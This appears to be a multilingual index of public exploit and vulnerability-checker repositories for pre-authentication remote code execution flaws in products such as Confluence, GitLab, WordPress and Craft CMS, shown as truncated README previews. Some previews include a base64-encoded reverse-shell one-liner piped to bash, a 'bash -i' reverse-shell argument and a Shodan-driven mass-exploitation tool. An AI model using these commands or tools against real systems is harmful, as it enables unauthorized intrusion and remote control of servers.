CVE-2026-39987

CVE-2026-39987 pour Marimo 0.20.4 PoC ⚠️ Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Le créateur n'est pas responsable de toute utilisation non autorisée ou illégale. Utilisez-le à vos propres risques. ⚠️ Infos : CVE-2026-39987 est une vulnérabilité...

CVE-2023-27997-check

CVE-2023-27997 Vulnerability Assessment Tool Safely detect whether a FortiGate SSL VPN instance is vulnerable to CVE-2023-27997 based on response timing. See the full write-up at the Bishop Fox blog, including a complete walkthrough of the methodology behind this tool. Description CVE-2023-27997 ...

CVE-2023-38646

CVE-2023-38646-exploit "هذه الثغرة، المعينة باسم CVE-2023–38646، سمحت للمهاجمين بتنفيذ أوامر عشوائية على الخادم دون الحاجة إلى أي مصادقة." نص برمجي سريع للـ reverse shell لاستغلال الثغرة cve-2023-38646. لم أكتشف هذه الثغرة، فقط قمت بإنشاء النص البرمجي. الاستخدام root@box:/CVE-2023-38646 python3...

CVE-2021-26084_PoC

CVE-2021-26084PoC CVE-2021-26084 سكريبت اختبار ثغرة Confluence RCE قبل المصادقة الاستخدام: py...

CVE-2026-61511-PoC-Exploit

CVE-2026-61511 – استغلال وتحقّق من ثغرة RCE قبل المصادقة في vBulletin ⚠️ للاستخدام الأخلاقي فقط – اختبار أمني مصرّح به يوفر هذا المستودع أدوات للمتخصصين الأمنيين المعتمدين، وفرق الدفاع الأزرق، ومختبري الاختراق فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب CFAA الولايات المتحدة،...

CVE-2024-9441

Nortek Linear eMerge E3 Pre-Auth RCE PoC CVE-2024-9441 Description: This repository contains a Proof of Concept PoC exploit for Nortek Linear eMerge E3 CVE-2024-9441, which is vulnerable to Remote Code Execution RCE in a pre-authentication state. The vulnerability is triggered via a flaw in the...

cve-2019-7192-check

أداة فحص QNAP Pre-Auth Root RCE CVE-2019-7192 CVE-2019-7195 الاستخدام: pip install requests ./CheckerforQNAPRCEcve2019719295.py /path/to/ip-port.txt مثال على ملف الإدخال: 1.2.3.4 8080 2.3.4.5 443 تأخذ هذه الأداة قائمة بعناوين IP والمنافذ الخاصة بأجهزة QNAP NAS، وتُخبرك ما إذا كان كل جهاز معرّضًا...

CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 سلسلة استغلال لتجاوز المصادقة وإلغاء التسلسل في Telerik Report Server لثغرات CVE-2024-4358/CVE-2024-1800 التحليل الفني يمكن العثور على تحليل السبب الجذري للثغرة على مدونتي poc الملخص الإصدارات المدعومة؟ في الأساس جميعها وقت نشر الاستغلال، وللرجوع إليها مستقبلًا، كل...

CVE-2025-32432

CVE-2025-32432 Craft CMS — PoC RCE pré-auth Exécution de code à distance critique avant authentification dans Craft CMS Versions concernées : Craft CMS 3.x, 4.x et 5.x jusqu'à 5.6.16 Info : Cet exploit a été testé contre la machine Orion de HackTheBox Aperçu Ce dépôt contient un exploit...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC بـ bash من سطر واحد لـ GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2026-63030-Wp2Shell

CVE-2026-63030 wp2shell — RCE до аутентификации в ядре WordPress Путаница маршрутов пакетного REST API в связке с SQL-инъекцией CVE-2026-60137 Кратко — Неаутентифицированный злоумышленник может использовать связку ошибки пакетной маршрутизации REST API WordPress и SQL-инъекции в WPQuery, чтобы...

Mass-exploit-CVE-2022-29464

مواء مواء مواء! مجرد استغلال جماعي مبني على PoC بلغة بايثون لـ WSO2 Carbon Server CVE-2022-29464 ثغرة RCE قبل المصادقة CVE-2022-29464. مواء مواء مواء؟ المتطلبات؟ Python3 Shodan Zoomeye دماغ ما هذه الأداة؟ هذا استغلال مسح تلقائي جماعي لـ CVE-2022-29464 مبني على PoC مكتوب بلغة بايثون بواسطة طرف ثال...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Générateur d'artefacts de détection pour Oracle E-Business Suite CVE-2025-61882 Consultez notre article de blog pour les détails techniques Détection en action python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i &...

CVE-2026-23918

CVE-2026-23918 Double-free dans le nettoyage de flux modhttp2 d'Apache httpd conduisant à une exécution de code à distance RCE avant authentification. Affecté : httpd 2.4.66 avec modhttp2 et MPM multi-threadé event/worker. Corrigé dans : 2.4.67. Découvert et rapporté par Bartlomiej Dmitruk...

ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC This is a pre-auth RCE POC For CVE-2023-49070 which affected Apache ofbiz applications wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar Dns POC RCE POC This tweets helped me alot :...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support Pre-Auth RCE PoC !WARNING هذا السكربت مخصص للأغراض التعليمية والبحثية فقط. لا تستخدمه ضد أنظمة بدون إذن صريح. يعد الوصول أو الاختبار غير المصرح به غير قانوني وغير أخلاقي. اقرأ إخلاء المسؤولية الكامل قبل استخدام هذا السكربت. نظرة عامة يوضح هذا السكربت ثغرة...

CVE-2024-50629_50631

CVE-2024-5062950631 Exploitation pré-authentification RCE N-day de Synology BeeStation. Détail : https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 $ python3 poc.py 192.168.88.248 192.168.88.254...

CVE-2021-26084_Confluence

CVE-2021-26084 - حقن OGNL في Confluence لاستغلال RCE قبل المصادقة الاستخدام usage: cve-2021-26084confluencerce.py -h --url URL --cmd CMD --shell CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection optional arguments: -h, --help show this help message and exit --url URL, -u URL Target Url --cm...

CVE-2025-47227_CVE-2025-47228

ScriptCase - تنفيذ أوامر عن بُعد قبل المصادقة سلاسل إعادة تعيين كلمة مرور المسؤول تجاوز المصادقة، CVE-2025-47227 وحقن الأوامر تنفيذ أوامر عن بُعد بعد المصادقة، CVE-2025-47228 يتم تحقيق تنفيذ الأوامر عن بُعد قبل المصادقة من خلال ربط ثغرتين: الأولى هي القدرة على إعادة تعيين كلمة مرور مسؤول وحدة...

N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution

N-able N-central versions before 2026.3.1.14 are vulnerable to pre-authentication remote code execution via static code injection CWE-96. An unauthenticated attacker with network access to the N-central management interface can execute arbitrary code on the server, potentially compromising every...